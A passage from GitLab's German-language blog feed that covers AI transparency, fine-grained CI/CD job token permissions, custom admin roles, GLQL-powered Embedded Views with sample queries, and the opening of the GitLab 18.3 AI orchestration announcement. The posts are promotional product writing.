<h2>KI-Transparenz über den gesamten DevSecOps-Lebenszyklus</h2>
<p><strong>Bei GitLab adressiert unser jahrzehntelanges Engagement für Transparenz diese Bedenken direkt.</strong> Da künstliche Intelligenz zunehmend in Entwicklungs-Workflows integriert wird, sind Organisationen zu Recht besorgt darüber, wie Code und Daten für KI-Training verwendet werden.</p>
<p>Das GitLab <a href="https://about.gitlab.com/de-de/ai-transparency-center/">KI-Transparenzzentrum</a>, im April 2024 gestartet, bietet eine klare Dokumentation unserer Datenverarbeitungspraktiken, Datenschutzmaßnahmen und ethischen KI-Prinzipien. Im Gegensatz zu Plattformen, die KI-Funktionen mit unklaren Datennutzungsrichtlinien betreiben, priorisiert GitLab Transparenz, damit Kund(inn)en <a href="https://docs.gitlab.com/user/gitlab_duo/data_usage/">genau verstehen, wie Daten verarbeitet werden</a>, gespeichert und geschützt werden – ohne Training mit diesen Daten.</p>
<p>Unser Ansatz erstreckt sich auf Modellflexibilität und Anbieterunabhängigkeit. Während einige Plattformen Kund(inn)en an einzelne Large Language Model (LLM)-Anbieter binden und damit zusätzliche Anbieterabhängigkeiten und potenzielle Single Points of Failure schaffen, werden GitLabs KI-Funktionen von verschiedenen Modellen unterstützt. Dieser Ansatz ermöglicht es uns, eine breite Palette von Anwendungsfällen zu unterstützen und bietet Kund(inn)en die Flexibilität, sich an strategischen Prioritäten auszurichten.</p>
<p>Bei der Weiterentwicklung der GitLab Duo Agent Platform bleiben wir auf Datenkontrolle fokussiert und behalten umfassende Human-in-the-Loop-Kontrollen bei. Und GitLab Duo Self-Hosted bietet vollständige Datensouveränität mit luftdichten Bereitstellungsoptionen, Zero-Day-Datenaufbewahrungsrichtlinien und der Möglichkeit, alle KI-Anfragen innerhalb der eigenen Infrastruktur zu verarbeiten.</p>
<p>Seit Mai 2024 pflegen wir auch einen <a href="https://handbook.gitlab.com/de-de/handbook/product/ai/continuity-plan/">KI-Kontinuitätsplan</a> mit einem branchenführenden Versprechen: die Fähigkeit, innerhalb von 30 Tagen ein neues Modell zu evaluieren und zu wechseln, falls ein Anbieter seine Praktiken bezüglich Kundendaten ändert. Dieser proaktive Ansatz zum KI-Anbieter-Risikomanagement spiegelt unser Engagement für Kundenkontrolle wider.</p>
<h2>Wahlfreiheit bei Bereitstellung und Cloud-Anbieter</h2>
<p><strong>Organisationen sollten wählen können, wie und wo die DevSecOps-Umgebung bereitgestellt wird.</strong> GitLab bietet echte Bereitstellungsflexibilität. Organisationen können zwischen On-Premises-Installationen, Multi-Tenant-SaaS oder GitLab Dedicated wählen, unserer vollständig verwalteten Single-Tenant-SaaS-Lösung, ohne auf Funktionalität zu verzichten oder künstlichen Einschränkungen ausgesetzt zu sein, die auf Ökosystem-Lock-in abzielen. GitLab ist auch Cloud-neutral, sodass Kund(inn)en den Cloud-Anbieter nutzen können, der am besten zu Geschäftsanforderungen und Umgebung passt.</p>
<p>Diese Flexibilität erweist sich als unschätzbar wertvoll bei der Navigation durch komplexe rechtliche Anforderungen und regulatorische Herausforderungen. Wenn neue Datenlokalisierungsgesetze entstehen – wie wir es in der Europäischen Union und anderen Regionen gesehen haben – können Organisationen, die GitLab nutzen, ihre Bereitstellungsstrategien schnell anpassen, ohne durch Ökosystemabhängigkeiten eingeschränkt zu sein.</p>
<p>Aus Beschaffungs- und Risikomanagement-Perspektive bietet Plattformunabhängigkeit auch entscheidende Verhandlungsmacht bei Vertragsverhandlungen. Organisationen werden nicht in restriktive Lizenzvereinbarungen gezwungen, die Anbieterinteressen über Kundenbedürfnisse stellen. Diese Unabhängigkeit wird besonders kritisch, da Unternehmen wachsamer werden, wer ihren KI-Stack kontrolliert.</p>
<h2>Sicherheit und Compliance: Eingebaut und immer Priorität</h2>
<p><strong>Sicherheit und Compliance sind jetzt genauso wichtig wie Entwicklungsfunktionen und sollten in die Plattform eingebaut sein, nicht nachträglich hinzugefügt.</strong> GitLabs Single-Platform-Ansatz bietet erhebliche Vorteile gegenüber fragmentierten Plattformen, die auf Drittanbieter-Add-Ins angewiesen sind, um grundlegende Sicherheits- und Governance-Funktionen zu erreichen. Dieser architektonische Unterschied hat erhebliche Auswirkungen auf mögliche rechtliche Risiken, operative Effizienz und regulatorische Compliance. Jedes zusätzliche Tool in der Kette stellt einen weiteren potenziellen Fehlerquellen dar, weitere Geschäftsbedingungen, die verhandelt werden müssen, und eine weitere Risikoquelle.</p>
<p>GitLab bietet umfassende eingebaute Sicherheits- und Compliance-Funktionen, einschließlich kundenspezifischer Compliance-Frameworks, dynamischem Application Security Testing (DAST), API-Fuzz-Testing, Coverage-Guided Fuzzing und Infrastructure-as-Code-Testing. Diese Funktionen sind nativ in die Plattform integriert und bieten konsistente Richtliniendurchsetzung und reduzieren die Compliance-Komplexität und zusätzlichen Kosten, die mit der Verwaltung mehrerer Drittanbieter-Tools verbunden sind.</p>
<p>Unser <a href="https://docs.gitlab.com/user/compliance/compliance_center/">Compliance-Center</a> bietet einen zentralen Ort für Teams, um ihre Compliance-Standards, Compliance-Berichte, Verstöße und Compliance-Frameworks für ihre Gruppe zu verwalten. Dieser einheitliche Ansatz für das Compliance-Management ist besonders wertvoll für Organisationen in stark regulierten Branchen, in denen Audit-Trails und Compliance-Dokumentation kritisch sind.</p>
<h2>Nähe zur Open-Source-Community</h2>
<p><strong>Die besten Tools werden von den Menschen geprägt, die sie nutzen.</strong> Unser Engagement für Open Source und die Zusammenarbeit mit unserer Community ist seit unserer Gründung Kern von GitLab. Beispielsweise ist unser <a href="https://about.gitlab.com/community/co-create/">Co-Create-Programm</a> eine kollaborative Initiative, die es Kund(inn)en ermöglicht, direkt mit GitLab-Ingenieur(inn)en zusammenzuarbeiten, um Funktionen, Fixes und Verbesserungen zur GitLab-Plattform beizutragen.</p>
<p>Unser Transparenzwert bleibt grundlegend für unser Geschäft. Ein Beispiel dafür ist unser <a href="https://gitlab.com/groups/gitlab-org/-/issues">offener Issue-Tracker</a>, in dem Kund(inn)en unseren Fortschritt verfolgen und direkt mit dem GitLab-Team in Diskussionen über Verbesserungsmöglichkeiten unseres Produkts eintreten können. Wir haben kürzlich unsere <a href="https://about.gitlab.com/de-de/blog/inside-gitlabs-healthy-backlog-initiative/">Healthy Backlog Initiative</a> gestartet, um Kund(inn)en noch größere Einblicke in unsere Planung zu geben und ihr Feedback an Stellen mit der größten Wirkung zu lenken.</p>
<p>Unser Ansatz ermöglicht es Organisationen, zu Open-Source-Innovation beizutragen und davon zu profitieren, während sie die Governance, Audit-Trails und Sicherheitskontrollen beibehalten, die für regulierte Umgebungen erforderlich sind.</p>
<h2>Daten-Governance: Die Daten, die Kontrolle</h2>
<p><strong>Vollständige Kontrolle über Daten und deren Verarbeitung bleibt erhalten.</strong> Daten-Governance ist zu einem immer kritischeren Faktor bei Unternehmensentscheidungen geworden, angetrieben durch ein komplexes Netz nationaler und regionaler Datenschutzgesetze und wachsende Bedenken über die Kontrolle sensibler geistiger Eigentumsrechte – wie Quellcode, Kundeneinblicke, strategische Initiativen und Wettbewerbsinformationen.</p>
<p>Mit GitLab kann verwaltet werden, wer Zugang zu KI-gestützten Funktionen innerhalb der Plattform hat, was über einfache Zugriffskontrollen hinausgeht und Verschlüsselungsstandards und Audit-Funktionen umfasst, die auf regulatorische Frameworks ausgerichtet sind. Außerdem werden Code und Daten von Kund(inn)en niemals zum Training von KI-Modellen verwendet.</p>
<h2>Die Wahl ist klar</h2>
<p>GitLab führt weiterhin bei KI-nativer DevSecOps-Plattform-Innovation – unsere jüngste <a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">18.3-Version</a> zeigt dies – während wir den Unabhängigkeits- und Transparenzverpflichtungen treu bleiben, die uns immer geleitet haben.</p>
<p>Kund(inn)en haben eine Wahl und sie ist klar: Kontrolle behalten vs. Anbieterabhängigkeit; Transparenz vs. Unsicherheit; Engagement für Innovation vs. Launen des größeren Ökosystems.</p>
<p>GitLab bietet die Grundlage für nachhaltige digitale Transformation, die Innovation mit Unabhängigkeit ausbalanciert und dabei hilft, Geschäftswert für Kund(inn)en zu erzielen.</p>
<p><a href="https://about.gitlab.com/de-de/free-trial/">GitLab Ultimate mit GitLab Duo heute kostenlos testen.</a></p>
]]></content>
        <author>
            <name>Robin Schulman</name>
            <uri>https://about.gitlab.com/blog/authors/robin-schulman</uri>
        </author>
        <published>2025-09-02T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Granulare Job Token Berechtigungen sind jetzt verfügbar]]></title>
        <id>https://about.gitlab.com/de-de/blog/fine-grained-job-tokens-ga/</id>
        <link href="https://about.gitlab.com/de-de/blog/fine-grained-job-tokens-ga/"/>
        <updated>2025-08-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://about.gitlab.com/de-de/topics/ci-cd/">CI/CD</a> Pipelines erben oft überprivilegierte Berechtigungen von Benutzerkonten, was erhebliche Sicherheitsrisiken birgt, wenn Pipelines kompromittiert oder Tokens geleakt werden. <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">GitLab 18.3</a> führt granulare Berechtigungen für Job Tokens ein, um dieses Problem zu lösen, und überführt diese Sicherheitsverbesserung von Beta zu allgemeiner Verfügbarkeit.</p>
<p>Diese Funktion ermöglicht es Maintainern, granulare Berechtigungen zu implementieren, die den Job-Token-Zugriff auf API-Ressourcen kontrollieren. Gemäß dem <a href="https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/">Principle of Least Privilege</a> haben diese Job Tokens keinerlei Zugriffsmöglichkeit auf API-Ressourcen, bis explizit Berechtigungen erteilt werden.</p>
<p>Diese erste Version umfasst granulare Berechtigungen für die folgenden Ressourcen:</p>
<ul>
<li>Repositories</li>
<li>Deployments</li>
<li>Environments</li>
<li>Jobs</li>
<li>Packages</li>
<li>Pipelines</li>
<li>Releases</li>
<li>Secure Files</li>
<li>Terraform State</li>
</ul>
<p>Zusätzliche API-Endpunkte sind für zukünftige Releases geplant. Weitere Informationen finden sich im <a href="https://gitlab.com/groups/gitlab-org/-/epics/6310">zugehörigen Epic</a>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png" alt="Beispiel für granulare Berechtigungen"></p>
<h2>Das Gesamtbild</h2>
<p>Diese Version stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Historisch waren Job Tokens an den oder die Benutzer(in) gebunden, der oder die die Pipeline ausführt, wodurch bestehende Privilegien weitergegeben wurden und Sicherheitsrisiken entstanden, wenn Pipelines kompromittiert wurden.</p>
<p>Granulare Berechtigungen für Job Tokens bieten eine Grundlage für ein sichereres CI/CD-Ökosystem, das:</p>
<ul>
<li><strong>Die Angriffsfläche reduziert</strong>: Implementiert das Principle of Least Privilege durch Beschränkung des Zugriffs auf nur notwendige Ressourcen</li>
<li><strong>Die Abhängigkeit von langlebigen Tokens eliminiert</strong>: Bietet eine sichere Alternative, die den Bedarf an persönlichen Zugriffstokens und anderen persistenten Anmeldedaten reduziert</li>
<li><strong>Auf maschinenbasierte Identität vorbereitet</strong>: Dieser Opt-in-Ansatz legt den Grundstein dafür, Job Tokens perspektivisch vollständig von Benutzeridentitäten zu entkoppeln und sich in Richtung echter Machine-to-Machine-Authentifizierung zu bewegen</li>
<li><strong>Sichere Automatisierung im großen Maßstab ermöglicht</strong>: Unterstützt komplexe Deployment-Workflows und CI/CD-Komponenten ohne Kompromisse bei der Sicherheit</li>
</ul>
<h2>Erste Schritte</h2>
<p>Security-Teams und DevOps-Ingenieure sollten diese Funktion für alle Projekte evaluieren, die automatisierte Deployments, Package-Veröffentlichungen oder Infrastructure Management durchführen. Da es sich um eine Opt-in-Funktion handelt, kann die Migration schrittweise erfolgen, um Störungen bestehender Pipelines zu minimieren.</p>
<p>Beginne damit, die kritischsten Pipelines zu identifizieren und deren aktuelle Berechtigungsanforderungen zu prüfen. Aktiviere dann granulare Berechtigungen und konfiguriere den minimalen Zugriff, der für jedes Projekt benötigt wird. Weitere Informationen finden sich in der <a href="https://docs.gitlab.com/ci/jobs/fine_grained_permissions/">Dokumentation zu granularen Berechtigungen für CI/CD Job Tokens</a>.</p>
]]></content>
        <author>
            <name>Alex Mark</name>
            <uri>https://about.gitlab.com/blog/authors/alex-mark</uri>
        </author>
        <author>
            <name>Joe Randazzo</name>
            <uri>https://about.gitlab.com/blog/authors/joe-randazzo</uri>
        </author>
        <published>2025-08-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Custom Admin Roles sind jetzt allgemein verfügbar]]></title>
        <id>https://about.gitlab.com/de-de/blog/custom-admin-roles-now-ga/</id>
        <link href="https://about.gitlab.com/de-de/blog/custom-admin-roles-now-ga/"/>
        <updated>2025-08-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab führt granulare Berechtigungen für den Admin-Bereich in GitLab Self-Managed und GitLab Dedicated Instanzen ein. Diese Custom Admin Roles ermöglichen es Organisationen, das <a href="https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/">Principle of Least Privilege</a> für ihre Instanzen umzusetzen und gleichzeitig die operative Effizienz zu erhalten. Ähnlich wie Custom Roles für Gruppen und Projekte bieten Custom Admin Roles detaillierte Berechtigungen zur Kontrolle des Zugriffs auf den Admin-Bereich.</p>
<p>Diese granularen Admin-Berechtigungen ermöglichen es Organisationen, zweckgebundene administrative Rollen zu erstellen, anstatt Benutzern vollständigen Administratorzugang zu gewähren. Mögliche Anwendungsfälle umfassen:</p>
<ul>
<li><strong>Platform Team:</strong> Zugriff auf Runner-Management, Instanz-Monitoring und Performance-Metriken</li>
<li><strong>Support Team:</strong> Zugriff auf User-Management und Troubleshooting-Workflows</li>
<li><strong>Leadership Team:</strong> Zugriff auf Dashboards, Nutzungsstatistiken und Lizenzierung</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121189/xnnoyowwutlbxu9unho5.png" alt="Custom Admin Role"></p>
<h2>Funktionen</h2>
<ul>
<li><strong>Granulare Berechtigungen:</strong> Custom Permissions ermöglichen es, eine Rolle zu erstellen, die den spezifischen Anforderungen entspricht.</li>
<li><strong>Management auf Instanzebene:</strong> Custom Admin Roles werden zentral erstellt und verwaltet.</li>
<li><strong>LDAP-Integration:</strong> Unterstützung für die Zuweisung großer Benutzergruppen zu Rollen über Directory-Server.</li>
<li><strong>Audit-Integration:</strong> Funktioniert mit dem bestehenden <a href="https://docs.gitlab.com/administration/settings/sign_in_restrictions/#admin-mode">Admin-Modus</a> und Audit-Events.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121190/wedoc6gi4upivvjezyeu.png" alt="Custom Admin Role"></p>
<h2>Mission: Die Sicherheit der Software-Supply-Chain verbessern</h2>
<p>Diese Funktion stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Als Teil dieser Mission hat GitLab auch Custom Roles für Projekte und Gruppen sowie <a href="https://docs.gitlab.com/ci/jobs/fine_grained_permissions/">granulare Berechtigungen für CI/CD Job Tokens</a> hinzugefügt.</p>
<p>Weitere Informationen zu Custom Admin Roles finden sich unter <a href="https://docs.gitlab.com/user/custom_roles/">Custom Roles</a>. Zusätzliche Berechtigungen sind für zukünftige Releases geplant. Um Feedback zu teilen, siehe das <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509376">Custom Roles Issue</a>.</p>
]]></content>
        <author>
            <name>Joe Randazzo</name>
            <uri>https://about.gitlab.com/blog/authors/joe-randazzo</uri>
        </author>
        <published>2025-08-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Embedded Views: Die Zukunft des Work Tracking in GitLab]]></title>
        <id>https://about.gitlab.com/de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab/</id>
        <link href="https://about.gitlab.com/de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Kommt dir das bekannt vor? Du wechselst ständig zwischen Tabs in GitLab, nur
um den</p>
<p>Überblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du</p>
<p>eine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um</p>
<p>zu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser</p>
<p>voller Tabs und du hast den roten Faden verloren.</p>
<p>Keine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.</p>
<p>Deshalb haben wir <a href="https://docs.gitlab.com/user/glql/#embedded-views">Embedded Views</a> entwickelt, angetrieben von <a href="https://docs.gitlab.com/user/glql/">GitLab Query Language (GLQL)</a>. Mit Embedded Views, <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">verfügbar ab 18.3</a>, erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.</p>
<h2>Warum Embedded Views wichtig sind</h2>
<p>Embedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.</p>
<h2>So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden</h2>
<p>Mit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:</p>
<h3>Immer aktuell</h3>
<p>GLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.</p>
<h3>Kontextbezogenes Bewusstsein</h3>
<p>Verwende Funktionen wie <code>currentUser()</code> und <code>today()</code>, um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.</p>
<h3>Leistungsstarke Filterung</h3>
<p>Filter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.</p>
<h3>Anpassbare Anzeige</h3>
<p>Du kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.</p>
<h3>Verfügbarkeit</h3>
<p>Du kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.</p>
<h2>Embedded Views in Aktion erleben</h2>
<p>Die Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:</p>
<ul>
<li>
<p>Dem <code>query</code>-Parameter: Ausdrücke, die mit einem logischen Operator wie <code>and</code> verbunden werden.</p>
</li>
<li>
<p>Parametern für die Präsentationsebene wie <code>display</code>, <code>limit</code> oder <code>fields</code>, <code>title</code> und <code>description</code>,
dargestellt als YAML.</p>
</li>
</ul>
<p>Eine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.</p>
<p>Zum Beispiel:</p>
<blockquote>
<p>Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in <code>gitlab-org/gitlab</code> zugewiesen sind.</p>
</blockquote>
<blockquote></blockquote>
<blockquote>
<p>Zeige die Spalten <code>title</code>, <code>state</code>, <code>health</code>, <code>description</code>, <code>epic</code>, <code>milestone</code>, <code>weight</code> und <code>updated</code>.</p>
</blockquote>
<pre><code class="language-yaml">
```glql


display: table


title: GLQL-Tabelle 🎉


description: Diese Ansicht listet meine offenen Issues auf


fields: title, state, health, epic, milestone, weight, updated


limit: 5


query: project = &quot;gitlab-org/gitlab&quot; AND assignee = currentUser() AND state = opened


```

</code></pre>
<p>Diese Quelle sollte eine Tabelle wie die folgende rendern:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png" alt=""></p>
<p>Eine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü <strong>Weitere Optionen</strong> in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort <strong>Embedded View</strong> aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:</p>
<pre><code class="language-yaml">
```glql


query: assignee = currentUser()


fields: title, createdAt, milestone, assignee


title: Mir zugewiesene Issues


```

</code></pre>
<p>Speicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!</p>
<h2>Wie GitLab Embedded Views nutzt</h2>
<p>Ob wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.</p>
<p>Um mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir <a href="https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/">How GitLab measures Red Team impact: The adoption rate metric</a> und Global Search Release Planning Issues für die Milestones <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239">18.1</a>, <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241">18.2</a> und <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245">18.3</a> an.</p>
<h2>Was kommt als Nächstes</h2>
<p>Embedded Views sind nur der Anfang der Vision der <a href="https://about.gitlab.com/direction/plan/knowledge/">Knowledge Group</a> für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im <a href="https://gitlab.com/groups/gitlab-org/-/epics/15249">Embedded Views Post-GA Epic</a>. Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/548722">zugänglicher</a> zu machen.</p>
<h2>Teile deine Erfahrungen</h2>
<p>Teile uns dein Feedback mit im <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509792">Embedded Views GA Feedback Issue</a>. Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.</p>
]]></content>
        <author>
            <name>Matthew Macfarlane</name>
            <uri>https://about.gitlab.com/blog/authors/matthew-macfarlane</uri>
        </author>
        <author>
            <name>Himanshu Kapoor</name>
            <uri>https://about.gitlab.com/blog/authors/himanshu-kapoor</uri>
        </author>
        <author>
            <name>Alex Fracazo</name>
            <uri>https://about.gitlab.com/blog/authors/alex-fracazo</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 18.3: KI-Orchestrierung revolutioniert die Softwareentwicklung]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab ist heute eine umfassende DevSecOps-Plattform, die alle Phasen des Software-Lebenszyklus vereint. Auf dieser Grundlage entwickeln wir uns zur weltweit ersten KI-nativen Plattform für Software Engineering. Bei GitLab sind wir überzeugt: Die Zukunft der Softwareentwicklung liegt im reibungslosen Zusammenspiel von Mensch und KI. Wir bringen die besten KI-Funktionen zu allen GitLab-Nutzerinnen und -Nutzern.</p>
<p>Diese Transformation erfolgt auf drei unterschiedlichen Ebenen, die weit über das hinausgehen, was andere KI-Entwicklungstools bieten:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png" alt="KI-native Transformationsfolie, die das Folgende visualisiert"></p>
<p><strong>Erstens sind wir ein System of Record.</strong> Die einheitliche Datenplattform speichert die wertvollsten digitalen Assets. Dazu gehören Quellcode und geistiges Eigentum sowie eine Fülle unstrukturierter Daten, die Projektpläne, Bug-Backlogs, CI/CD-Konfigurationen, Deployment-Historien, Sicherheitsberichte und Compliance-Daten umfassen. Dies schafft einen Datenschatz an Kontextinformationen, der sicher in der GitLab-Umgebung verbleibt und für generische Agenten oder große Sprachmodelle unzugänglich ist.</p>
<p><strong>Zweitens fungieren wir als Software-Control-Plane.</strong> Wir orchestrieren die kritischsten Geschäftsprozesse über Git-Repositories, REST-APIs und Webhook-basierte Schnittstellen, die die End-to-End-Software-Lieferung antreiben. Viele Kunden betrachten dies als Tier-0-Abhängigkeit, auf die sich ihre geschäftskritischen Prozesse täglich verlassen.</p>
<p><strong>Drittens bieten wir eine leistungsstarke Benutzererfahrung.</strong> Wir liefern eine integrierte Oberfläche, die den kostspieligen Kontextwechsel eliminiert, der die meisten Entwicklungsteams verlangsamt. Mit vollständiger Lifecycle-Transparenz und Kollaborationstools in einer Plattform verlassen sich über 50 Millionen registrierte Nutzende und die riesige Community auf GitLab, um ihre Arbeit zu erledigen. Diese Expertise positioniert GitLab einzigartig, um eine intuitive Mensch-zu-KI-Zusammenarbeit zu ermöglichen, die die Teamproduktivität steigert und gleichzeitig die bewährten Workflows bewahrt.</p>
<p><strong>Erweiterung der Plattform mit nativ integrierter KI auf allen Ebenen</strong></p>
<p>Die <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> integriert und erweitert alle drei dieser Ebenen. Sie ist auf Erweiterbarkeit und Interoperabilität ausgelegt und ermöglicht es Kunden und Partnern, Lösungen zu entwickeln, die noch mehr Wert schaffen. Der offene Plattformansatz betont die nahtlose Konnektivität mit externen KI-Tools und -Systemen, während gleichzeitig eine tiefe Integration in den bestehenden Stack auf allen drei Ebenen gewährleistet wird.</p>
<ul>
<li>Erstens erweitern wir die einheitliche Datenplattform um einen <strong>Knowledge Graph</strong>, der Code mit allen anderen unstrukturierten Daten indiziert und verknüpft, speziell optimiert für den agentischen Zugriff. KI lebt von Kontext, und wir glauben, dass dies nicht nur die Schlussfolgerungen und Inferenzen von Agenten beschleunigt, sondern auch kostengünstigere und qualitativ hochwertigere agentische Ergebnisse liefert.</li>
<li>Zweitens fügen wir der bestehenden Control Plane eine wichtige <strong>Orchestration Layer</strong> in drei verschiedenen Teilen hinzu: Agenten und Flows können sich als Abonnenten für GitLab SDLC-Events registrieren, wir bauen eine neue Orchestrierungs-Engine, die speziell entwickelte Multi-Agenten-Flows ermöglicht, und wir stellen GitLab-Tools, Agenten und Flows über MCP und Standardprotokolle für beispiellose Interoperabilität zur Verfügung.</li>
<li>Schließlich erweitern wir die <strong>GitLab-Erfahrung</strong>, um erstklassige Agenten und Agenten-Flows über den gesamten Software-Entwicklungslebenszyklus bereitzustellen. Sie können asynchrone Aufgaben an Agenten zuweisen, sie in Kommentaren mit @ erwähnen und benutzerdefinierte Agenten mit spezifischem Kontext für Ihre Workflows erstellen – aber noch wichtiger: GitLab liefert native Agenten für jede Entwicklungsphase und erschließt gleichzeitig ein reiches Ökosystem von Drittanbieter-Agenten. Dies schafft eine echte Mensch-zu-KI-Zusammenarbeit, bei der Agenten genauso natürlich zu bedienen sind wie menschliche Teammitglieder.</li>
</ul>
<p>Sieh dir dieses Video an, um zu erfahren, was in 18.3 und darüber hinaus kommt, oder lies weiter.</p>
